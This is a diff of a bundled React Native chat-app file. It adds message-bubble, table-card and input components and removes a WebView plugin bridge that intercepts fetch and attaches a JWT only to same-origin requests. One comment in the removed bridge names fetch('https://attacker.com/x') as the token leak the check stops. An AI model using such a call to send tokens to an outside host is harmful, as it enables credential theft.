+  return /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.View, { style: styles5.wrap, children: rows.map((row, i) => {
+    const cells = Array.isArray(row) ? row : [row];
+    const title = cells[0];
+    return /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)(import_react_native6.View, { style: styles5.card, children: [
+      /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.Text, { style: styles5.title, children: String(title ?? "") }),
+      detailCols.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.View, { style: styles5.details, children: detailCols.map((col, ci) => {
+        const value = cells[ci + 1];
+        if (value == null || value === "") return null;
+        return /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)(import_react_native6.View, { style: styles5.row, children: [
+          /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.Text, { style: styles5.label, children: String(col) }),
+          /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.Text, { style: styles5.value, children: String(value) })
+        ] }, ci);
+      }) })
+    ] }, i);
+  }) });
+}
+var styles5 = import_react_native6.StyleSheet.create({
+  wrap: {
+    marginVertical: 6,
+    gap: 8
+  },
+  card: {
+    backgroundColor: import_core8.ada.paper,
+    borderRadius: import_core8.borderRadius.md,
+    borderWidth: 1,
+    borderColor: import_core8.ada.border,
+    padding: import_core8.spacing.md
+  },
+  title: {
+    color: import_core8.ada.ink,
+    fontSize: import_core8.fontSize.md,
+    fontWeight: "600",
+    fontFamily: fontFam2,
+    letterSpacing: -0.2,
+    marginBottom: 6
+  },
+  details: {
+    gap: 4
+  },
+  row: {
+    flexDirection: "row",
+    alignItems: "flex-start",
+    gap: 8
+  },
+  label: {
+    color: import_core8.ada.inkMuted,
+    fontSize: import_core8.fontSize.xs,
+    fontFamily: fontFam2,
+    fontWeight: "500",
+    width: 84,
+    textTransform: "uppercase",
+    letterSpacing: 0.6,
+    paddingTop: 2
+  },
+  value: {
+    flex: 1,
+    color: import_core8.ada.inkSoft,
+    fontSize: import_core8.fontSize.sm,
+    fontFamily: fontFam2,
+    lineHeight: 18
+  }
+});
 
-// src/plugin/EmbeddedPluginWebView.tsx
-var import_react6 = require("react");
-var import_react_native9 = require("react-native");
-var import_react_native_webview = require("react-native-webview");
-var import_core9 = require("@ateam-ai-mobile/core");
-var import_plugin_runtime5 = require("@ateam-ai-mobile/plugin-runtime");
+// src/stores/lightboxStore.ts
+var import_zustand2 = require("zustand");
+var useLightboxStore = (0, import_zustand2.create)((set) => ({
+  uri: null,
+  show: (uri) => set({ uri }),
+  hide: () => set({ uri: null })
+}));
 
-// src/plugin/usePluginBridge.ts
-var import_react5 = require("react");
-var import_core8 = require("@ateam-ai-mobile/core");
-function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
-  const webViewRef = (0, import_react5.useRef)(null);
-  const sendInit = (0, import_react5.useCallback)(() => {
-    const msg = JSON.stringify({
-      source: "adas-host",
-      pluginId,
-      message: {
-        type: "init",
-        payload: {
-          tenant: (0, import_core8.getTenant)(),
-          connectorId: connectorId || null,
-          mcpEndpoint: null,
-          slug: null,
-          skillSlug: null
-        }
-      }
-    });
-    webViewRef.current?.postMessage(msg);
-  }, [pluginId, connectorId]);
-  const sendToPlugin = (0, import_react5.useCallback)(
-    (type, payload) => {
-      const msg = JSON.stringify({
-        source: "adas-host",
-        message: { type, payload }
-      });
-      webViewRef.current?.postMessage(msg);
-    },
-    []
-  );
-  const dispatchToWebView = (0, import_react5.useCallback)((cmd) => {
-    if (cmd.command === "__focus") return;
-    const msg = JSON.stringify({
-      source: "adas-host",
-      pluginId,
-      message: {
-        type: "plugin.command",
-        payload: {
-          command: cmd.command,
-          args: cmd.args,
-          correlationId: cmd.correlationId
-        }
-      }
-    });
-    webViewRef.current?.postMessage(msg);
-  }, [pluginId]);
-  (0, import_react5.useEffect)(() => {
-    const unsub = import_core8.pluginCommandEmitter.on("plugin-command", (cmd) => {
-      if (cmd.pluginId !== pluginId) return;
-      dispatchToWebView(cmd);
-    });
-    return unsub;
-  }, [pluginId, dispatchToWebView]);
-  (0, import_react5.useEffect)(() => {
-    if (!commandBufferRef) return;
-    const timer = setTimeout(() => {
-      const buf = commandBufferRef.current;
-      const remaining = [];
-      for (const cmd of buf) {
-        if (cmd.pluginId === pluginId) {
-          dispatchToWebView(cmd);
-        } else {
-          remaining.push(cmd);
-        }
-      }
-      commandBufferRef.current = remaining;
-    }, 1e3);
-    return () => clearTimeout(timer);
-  }, [pluginId, commandBufferRef, dispatchToWebView]);
-  const handleMessage = (0, import_react5.useCallback)(
-    async (event) => {
-      let data;
-      try {
-        data = JSON.parse(event.nativeEvent.data);
-      } catch {
-        return;
-      }
-      if (data.source !== "adas-plugin") return;
-      const action = data.message?.action || data.action;
-      const payload = data.message?.payload || data.payload;
-      const type = data.message?.type || data.type;
-      if (action === "mcp-fetch" && payload?.requestId) {
-        const { requestId, body } = payload;
-        try {
-          const result = await (0, import_core8.mcpFetch)(body);
-          sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
-        } catch (err) {
-          console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
-          sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
-        }
-        return;
-      }
-      if (action === "mcp-call" && payload?.requestId) {
-        const { requestId, toolName, args: callArgs } = payload;
-        if (toolName) {
-          try {
-            const rpcResponse = await (0, import_core8.mcpToolCall)(toolName, callArgs || {});
-            const result = rpcResponse?.result ?? rpcResponse;
-            sendToPlugin("mcp-result", { requestId, result, error: null });
-          } catch (err) {
-            sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
-          }
-          return;
-        }
-        const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
-        const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
-        const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
-        if (!cId || !tool) {
-          console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
-          sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
-          return;
-        }
-        try {
-          const data2 = await (0, import_core8.connectorCall)(cId, tool, toolArgs);
-          if (data2.ok) {
-            sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
-          } else {
-            sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
-          }
-        } catch (err) {
-          sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
-        }
-        return;
-      }
-      if (action === "close") {
-        import_core8.pluginCommandEmitter.emit("plugin-close", { pluginId });
-        return;
+// src/chat/MessageBubble.tsx
+var import_jsx_runtime8 = require("react/jsx-runtime");
+var fontFam3 = import_react_native7.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
+function formatTime(date) {
+  const h = date.getHours();
+  const m = date.getMinutes().toString().padStart(2, "0");
+  return `${h}:${m}`;
+}
+function DaySeparator({ date }) {
+  const today = /* @__PURE__ */ new Date();
+  const yesterday = new Date(today);
+  yesterday.setDate(yesterday.getDate() - 1);
+  let label;
+  if (isSameDay(date, today)) {
+    label = "Today";
+  } else if (isSameDay(date, yesterday)) {
+    label = "Yesterday";
+  } else {
+    label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
+  }
+  return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: separatorStyles.container, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: separatorStyles.pill, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: separatorStyles.text, children: label }) }) });
+}
+function isSameDay(a, b) {
+  return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
+}
+var separatorStyles = import_react_native7.StyleSheet.create({
+  container: {
+    alignItems: "center",
+    marginVertical: 14
+  },
+  pill: {
+    backgroundColor: import_core9.ada.paperSoft,
+    paddingHorizontal: 14,
+    paddingVertical: 5,
+    borderRadius: 999
+  },
+  text: {
+    fontSize: 12,
+    fontWeight: "600",
+    color: import_core9.ada.inkMuted,
+    letterSpacing: 0.4,
+    fontFamily: fontFam3
+  }
+});
+function MessageBubble({ message }) {
+  const isUser = message.role === "user";
+  const isSystem = message.role === "system";
+  const isNotification = !isUser && message.kind === "notification";
+  const [copied, setCopied] = (0, import_react7.useState)("");
+  const showCopied = (0, import_react7.useCallback)((label) => {
+    setCopied(label);
+    (0, import_plugin_runtime6.getHaptics)()?.notification("success");
+    setTimeout(() => setCopied(""), 1500);
+  }, []);
+  const copyText = (0, import_react7.useCallback)(async (text) => {
+    const clipboard = getClipboard();
+    if (!clipboard) return;
+    await clipboard.setString(text);
+    showCopied("Copied!");
+  }, [showCopied]);
+  const handleLongPress = (0, import_react7.useCallback)(() => {
+    copyText(message.content);
+  }, [message.content, copyText]);
+  return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: [styles6.row, isUser && styles6.rowUser], children: [
+    !isUser && !isNotification && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.avatarOrb, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
+      import_plugin_runtime6.AdaOrb,
+      {
+        size: 28,
+        state: message.jobProgress?.status === "running" ? "thinking" : "idle"
       }
-      if (type === "plugin.command.result" && payload?.correlationId) {
-        const ws = wsRef?.current;
-        if (ws && ws.readyState === WebSocket.OPEN) {
-          try {
-            ws.send(JSON.stringify({
-              type: "plugin-command-result",
-              correlationId: payload.correlationId,
-              result: payload.result,
-              error: payload.error
-            }));
-          } catch (err) {
-            console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
-            await (0, import_core8.postCommandResult)(payload.correlationId, payload.result, payload.error).catch(() => {
-            });
-          }
-        } else {
-          try {
-            await (0, import_core8.postCommandResult)(payload.correlationId, payload.result, payload.error);
-          } catch (err) {
-            console.warn("[PluginBridge] Failed to send command result:", err.message);
-          }
-        }
-        return;
+    ) }),
+    isNotification && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.notificationLeftStripe }),
+    /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(
+      import_react_native7.Pressable,
+      {
+        accessibilityRole: "text",
+        accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
+        accessibilityHint: "Long-press to copy",
+        onLongPress: handleLongPress,
+        style: [
+          styles6.bubble,
+          isUser && styles6.bubbleUser,
+          isSystem && styles6.bubbleSystem,
+          isNotification && styles6.bubbleNotification
+        ],
+        children: [
+          isNotification && /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: styles6.notificationHeader, children: [
+            /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.notificationHeaderIcon, children: "\u{1F514}" }),
+            /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.notificationHeaderText, children: "Notification" })
+          ] }),
+          message.attachments && message.attachments.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
+            import_react_native7.Pressable,
+            {
+              accessibilityRole: "imagebutton",
+              accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
+              onPress: () => useLightboxStore.getState().show(att.previewUri),
+              children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
+                import_react_native7.Image,
+                {
+                  source: {
+                    uri: att.previewUri,
+                    ...att.previewUri.startsWith("http") ? {
+                      headers: { Authorization: `Bearer ${(0, import_core9.getConfig)().tokenProvider.getToken()}` }
+                    } : {}
+                  },
+                  style: styles6.attachmentImage,
+                  resizeMode: "cover",
+                  onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
+                }
+              )
+            },
+            i
+          ) : /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.attachmentFile, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
+          isUser ? (
+            // Hide the "See attachment" placeholder when the bubble already shows the photo.
+            message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { selectable: true, style: styles6.userText, children: message.content }) : null
+          ) : renderAssistantContent(message.content, copyText),
+          !!copied && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.copiedBadge, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.copiedText, children: copied }) }),
+          message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(ToolCallsBadge, { calls: message.toolCalls }),
+          message.jobProgress && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(JobProgressBar, { progress: message.jobProgress }),
+          !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(UIActionsRow, { actions: message.actions }),
+          /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: [styles6.timeText, isUser && styles6.timeTextUser], children: formatTime(message.timestamp) })
+        ]
       }
-    },
-    [sendToPlugin]
-  );
-  return {
-    webViewRef,
-    sendInit,
-    handleMessage
-  };
+    ),
+    isUser && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.avatarSpacer })
+  ] });
 }
-function buildPluginBridgeJS(jwt, tenant) {
-  return `
-(function() {
-  function _dbg(msg) {
-    console.log('[PluginBridge] ' + msg);
+function renderAssistantContent(content, copyText) {
+  if (!content) return null;
+  if (!content.includes(import_core9.TABLE_BLOCK_OPEN)) {
+    return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(MarkdownBubble, { content, copyText });
   }
-
-  // 1. Seed localStorage. JWT is required by web-shared plugin code
-  //    (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
-  //    lives in EmbeddedPluginWebView (originWhitelist +
-  //    onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
-  try {
-    localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
-    localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
-    _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
-  } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
-
-  // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
-  var _origFetch = window.fetch.bind(window);
-  var _mcpReqId = 0;
-  var _pendingMcp = {};
-
-  window.fetch = function(url, opts) {
-    var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
-    var method = (opts && opts.method) || 'GET';
-
-    _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
-
-    // Intercept /mcp calls
-    if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
-      _dbg('  -> INTERCEPTED /mcp, proxying via RN bridge');
-      return new Promise(function(resolve, reject) {
-        var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
-        _pendingMcp[requestId] = { resolve: resolve, reject: reject };
-        window.ReactNativeWebView.postMessage(JSON.stringify({
-          source: 'adas-plugin',
-          action: 'mcp-fetch',
-          payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
-        }));
-        setTimeout(function() {
-          if (_pendingMcp[requestId]) {
-            delete _pendingMcp[requestId];
-            _dbg('TIMEOUT mcp-fetch ' + requestId);
-            reject(new Error('MCP fetch timeout (30s)'));
-          }
-        }, 30000);
-      });
+  const segments = [];
+  let cursor = 0;
+  while (cursor < content.length) {
+    const open = content.indexOf(import_core9.TABLE_BLOCK_OPEN, cursor);
+    if (open === -1) {
+      segments.push({ kind: "md", content: content.slice(cursor) });
+      break;
+    }
+    if (open > cursor) {
+      segments.push({ kind: "md", content: content.slice(cursor, open) });
+    }
+    const close = content.indexOf(import_core9.TABLE_BLOCK_CLOSE, open + import_core9.TABLE_BLOCK_OPEN.length);
+    if (close === -1) {
+      segments.push({ kind: "md", content: content.slice(open) });
+      break;
+    }
+    const payload = content.slice(open + import_core9.TABLE_BLOCK_OPEN.length, close);
+    segments.push({ kind: "table", content: payload });
+    cursor = close + import_core9.TABLE_BLOCK_CLOSE.length;
+  }
+  return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_jsx_runtime8.Fragment, { children: segments.map((seg, i) => {
+    if (seg.kind === "md") {
+      const trimmed = seg.content.trim();
+      if (!trimmed) return null;
+      return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(MarkdownBubble, { content: seg.content, copyText }, i);
     }
-
-    // Inject Authorization header ONLY for same-origin requests. A relative
-    // path resolves against window.location.origin; an absolute URL must
-    // literally match. This stops a plugin from leaking the JWT to a foreign
-    // host via fetch('https://attacker.com/x') or via <base href>.
-    var sameOrigin = false;
     try {
-      var resolved = new URL(urlStr, window.location.origin);
-      sameOrigin = (resolved.origin === window.location.origin);
-    } catch (_) { sameOrigin = false; }
-    if (sameOrigin) {
-      opts = Object.assign({}, opts || {});
-      var h = opts.headers;
-      if (h instanceof Headers) {
-        if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
-      } else {
-        h = Object.assign({}, h || {});
-        if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
-        opts.headers = h;
-      }
+      const data = JSON.parse(decodeURIComponent(seg.content));
+      return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
+    } catch {
+      return null;
     }
-
-    return _origFetch(url, opts).then(function(res) {
-      _dbg('  <- ' + res.status + ' ' + urlStr.substring(0, 60));
-      return res;
-    }).catch(function(err) {
-      _dbg('  <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
-      throw err;
-    });
-  };
-
-  // Handle results from RN host
-  function _handleHostMessage(d) {
-    if (!d || d.source !== 'adas-host') return;
-    var msg = d.message || {};
-
-    // mcp-fetch-result: response to intercepted fetch("/mcp")
-    if (msg.type === 'mcp-fetch-result' && msg.payload) {
-      var p = msg.payload;
-      var pending = _pendingMcp[p.requestId];
-      if (pending) {
-        delete _pendingMcp[p.requestId];
-        if (p.error) {
-          pending.reject(new Error(p.error));
-        } else {
-          pending.resolve(new Response(JSON.stringify(p.result), {
-            status: 200,
-            headers: { 'Content-Type': 'application/json' }
-          }));
-        }
-      }
+  }) });
+}
+function MarkdownBubble({ content, copyText }) {
+  return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
+    import_react_native_markdown_display.default,
+    {
+      style: markdownStyles,
+      rules: {
+        code_inline: (node) => /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
+          import_react_native7.Text,
+          {
+            style: markdownStyles.code_inline,
+            onPress: () => copyText(node.content),
+            children: node.content
+          },
+          node.key
+        ),
+        fence: (node) => /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
+          import_react_native7.Pressable,
+          {
+            onPress: () => copyText(node.content),
+            style: markdownStyles.fence,
+            children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: markdownStyles.fenceText, children: node.content })
+          },
+          node.key
+        )
+      },
+      children: content
     }
+  );
+}
+function ToolCallsBadge({ calls }) {
+  const [expanded, setExpanded] = (0, import_react7.useState)(false);
+  const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
+  return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: styles6.toolCalls, children: [
+    /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.Pressable, { style: styles6.toolToggle, onPress: () => setExpanded(!expanded), children: [
+      /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolLabel, children: label }),
+      /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
+    ] }),
+    expanded && calls.map((tc, i) => /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: styles6.toolItem, children: [
+      /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolName, children: tc.name }),
+      tc.skill && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolSkill, children: tc.skill })
+    ] }, i))
+  ] });
+}
+var styles6 = import_react_native7.StyleSheet.create({
+  row: {
+    flexDirection: "row",
+    alignItems: "flex-end",
+    marginBottom: 12,
+    paddingHorizontal: 12,
+    gap: 8
+  },
+  rowUser: {
+    justifyContent: "flex-end"
+  },
+  avatarOrb: {
+    width: 28,
+    height: 28,
+    justifyContent: "center",
+    alignItems: "center"
+  },
+  avatarSpacer: {
+    width: 28,
+    height: 28
+  },
+  bubble: {
+    maxWidth: "78%",
+    backgroundColor: import_core9.ada.botBubble,
+    borderWidth: 1,
+    borderColor: import_core9.ada.botBubbleBorder,
+    borderRadius: import_core9.borderRadius.xl,
+    paddingHorizontal: 16,
+    paddingVertical: 12
+  },
+  bubbleUser: {
+    backgroundColor: import_core9.ada.userBubble,
+    borderColor: "transparent"
+  },
+  bubbleSystem: {
+    backgroundColor: import_core9.ada.orangeSoft,
+    borderColor: import_core9.ada.orange,
+    maxWidth: "90%"
+  },
+  bubbleNotification: {
+    backgroundColor: import_core9.ada.orangeSoft,
+    borderColor: "rgba(255, 122, 40, 0.35)",
+    borderRadius: import_core9.borderRadius.lg,
+    maxWidth: "90%"
+  },
+  notificationLeftStripe: {
+    width: 3,
+    alignSelf: "stretch",
+    backgroundColor: import_core9.ada.orange,
+    borderRadius: 2,
+    marginRight: 4
+  },
+  notificationHeader: {
+    flexDirection: "row",
+    alignItems: "center",
+    gap: 6,
+    marginBottom: 6
+  },
+  notificationHeaderIcon: {
+    fontSize: 12
+  },
+  notificationHeaderText: {
+    color: import_core9.ada.orangeDeep,
+    fontSize: 11,
+    fontWeight: "700",
+    letterSpacing: 0.6,
+    textTransform: "uppercase",
+    fontFamily: fontFam3
+  },
+  userText: {
+    color: import_core9.ada.userBubbleText,
+    fontSize: import_core9.fontSize.md,
+    lineHeight: 22,
+    fontFamily: fontFam3
+  },
+  timeText: {
+    fontSize: 11,
+    color: import_core9.ada.inkMuted,
+    alignSelf: "flex-end",
+    marginTop: 4,
+    fontFamily: fontFam3
+  },
+  timeTextUser: {
+    color: "rgba(250,246,238,0.55)"
+  },
+  attachments: {
+    flexDirection: "row",
+    flexWrap: "wrap",
+    gap: 6,
+    marginBottom: 8
+  },
+  attachmentImage: {
+    width: 120,
+    height: 90,
+    borderRadius: 8
+  },
+  attachmentFile: {
+    backgroundColor: "rgba(255,255,255,0.15)",
+    borderRadius: 8,
+    paddingHorizontal: 10,
+    paddingVertical: 6
+  },
+  attachmentFileName: {
+    color: "rgba(255,255,255,0.8)",
+    fontSize: 11,
+    maxWidth: 100
+  },
+  copiedBadge: {
+    position: "absolute",
+    top: 6,
+    right: 6,
+    backgroundColor: "#5A8A5C",
+    paddingHorizontal: 8,
+    paddingVertical: 2,
+    borderRadius: import_core9.borderRadius.sm
+  },
+  copiedText: {
+    color: "#fff",
+    fontSize: import_core9.fontSize.xs,
+    fontWeight: "600"
+  },
+  toolCalls: {
+    marginTop: 8,
+    borderTopWidth: 1,
+    borderTopColor: import_core9.ada.border,
+    paddingTop: 6
+  },
+  toolToggle: {
+    flexDirection: "row",
+    alignItems: "center",
+    gap: 6
+  },
+  toolLabel: {
+    color: import_core9.ada.inkSoft,
+    fontSize: import_core9.fontSize.xs,
+    fontWeight: "500"
+  },
+  toolChevron: {
+    color: import_core9.ada.inkMuted,
+    fontSize: 8
+  },
+  toolItem: {
+    marginTop: 4,
+    paddingLeft: 8
+  },
+  toolName: {
+    color: import_core9.ada.inkSoft,
+    fontSize: import_core9.fontSize.xs,
+    fontFamily: "monospace"
+  },
+  toolSkill: {
+    color: import_core9.ada.orangeDeep,
+    fontSize: import_core9.fontSize.xs
+  }
+});
+var markdownStyles = import_react_native7.StyleSheet.create({
+  body: {
+    color: import_core9.ada.botBubbleText,
+    fontSize: import_core9.fontSize.md,
+    lineHeight: 22,
+    fontFamily: fontFam3
+  },
+  paragraph: {
+    marginTop: 0,
+    marginBottom: 4
+  },
+  strong: {
+    fontWeight: "700",
+    color: import_core9.ada.botBubbleText
+  },
+  em: {
+    fontStyle: "italic"
+  },
+  code_inline: {
+    backgroundColor: import_core9.ada.paperDeep,
+    color: import_core9.ada.orangeDeep,
+    paddingHorizontal: 5,
+    paddingVertical: 1,
+    borderRadius: 4,
+    fontFamily: "monospace",
+    fontSize: import_core9.fontSize.sm
+  },
+  fence: {
+    backgroundColor: import_core9.ada.paperDeep,
+    padding: 10,
+    borderRadius: 10
+  },
+  fenceText: {
+    fontFamily: "monospace",
+    fontSize: import_core9.fontSize.sm,
+    color: import_core9.ada.ink
+  },
+  link: {
+    color: import_core9.ada.orangeDeep
+  },
+  list_item: {
+    color: import_core9.ada.botBubbleText
+  },
+  bullet_list: {
+    marginVertical: 4
   }
+});
 
-  // 3. Override window.parent.postMessage (plugins use this in iframes)
-  window.parent = window.parent || {};
-  window.parent.postMessage = function(data, origin) {
-    if (data && data.source === 'adas-plugin') {
-      window.ReactNativeWebView.postMessage(JSON.stringify(data));
-    }
-  };
+// src/chat/TypingIndicator.tsx
+var import_react_native8 = require("react-native");
+var import_plugin_runtime7 = require("@ateam-ai-mobile/plugin-runtime");
+var import_jsx_runtime9 = require("react/jsx-runtime");
+function TypingIndicator() {
+  return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native8.View, { style: styles7.row, children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_plugin_runtime7.AdaOrb, { size: 32, state: "thinking" }) });
+}
+var styles7 = import_react_native8.StyleSheet.create({
+  row: {
+    flexDirection: "row",
+    alignItems: "center",
+    marginBottom: 12,
+    paddingHorizontal: 16,
+    paddingVertical: 4
+  }
+});
 
-  // 4. Also intercept direct window.postMessage
-  var origPost = window.postMessage.bind(window);
-  window.postMessage = function(data, origin) {
-    if (data && data.source === 'adas-plugin') {
-      window.ReactNativeWebView.postMessage(JSON.stringify(data));
+// src/chat/ChatInput.tsx
+var import_react8 = require("react");
+var import_react_native9 = require("react-native");
+var import_react_native_svg = __toESM(require("react-native-svg"));
+var import_core10 = require("@ateam-ai-mobile/core");
+var import_plugin_runtime8 = require("@ateam-ai-mobile/plugin-runtime");
+var import_jsx_runtime10 = require("react/jsx-runtime");
+function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
+  const [text, setText] = (0, import_react8.useState)("");
+  const [height, setHeight] = (0, import_react8.useState)(40);
+  const inputRef = (0, import_react8.useRef)(null);
+  (0, import_react8.useEffect)(() => {
+    if (prefill) {
+      setText(prefill);
+      inputRef.current?.focus();
     }
-    origPost(data, origin);
-  };
-
-  // 5. Forward messages from RN host -> plugin
-  //    iOS: window 'message' event, Android: document 'message' event
-  window.addEventListener('message', function(e) {
-    try {
-      var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
-      if (d && d.source === 'adas-host') {
-        _handleHostMessage(d);
-        if (typeof e.data === 'string') {
-          window.dispatchEvent(new MessageEvent('message', { data: d }));
+  }, [prefill]);
+  const handleSend = (0, import_react8.useCallback)(() => {
+    const trimmed = text.trim();
+    if (!trimmed) return;
+    (0, import_plugin_runtime8.getHaptics)()?.impact("light");
+    onSend(trimmed);
+    setText("");
+    setHeight(40);
+  }, [text, loading, onSend]);
+  const canSend = text.trim().length > 0;
+  return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native9.View, { style: styles8.dock, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native9.View, { style: styles8.inputRow, children: [
+    onCallStart && /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native9.Pressable, { style: styles8.callBtn, onPress: onCallStart, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.default, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: import_core10.colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
+    /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
+      import_react_native9.TextInput,
+      {
+        ref: inputRef,
+        style: [styles8.input, { height: Math.min(Math.max(40, height), 120) }],
+        value: text,
+        onChangeText: setText,
+        onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
+        placeholder: placeholder || "Message A-Team...",
+        placeholderTextColor: import_core10.colors.light.textMuted,
+        multiline: true,
+        returnKeyType: "default",
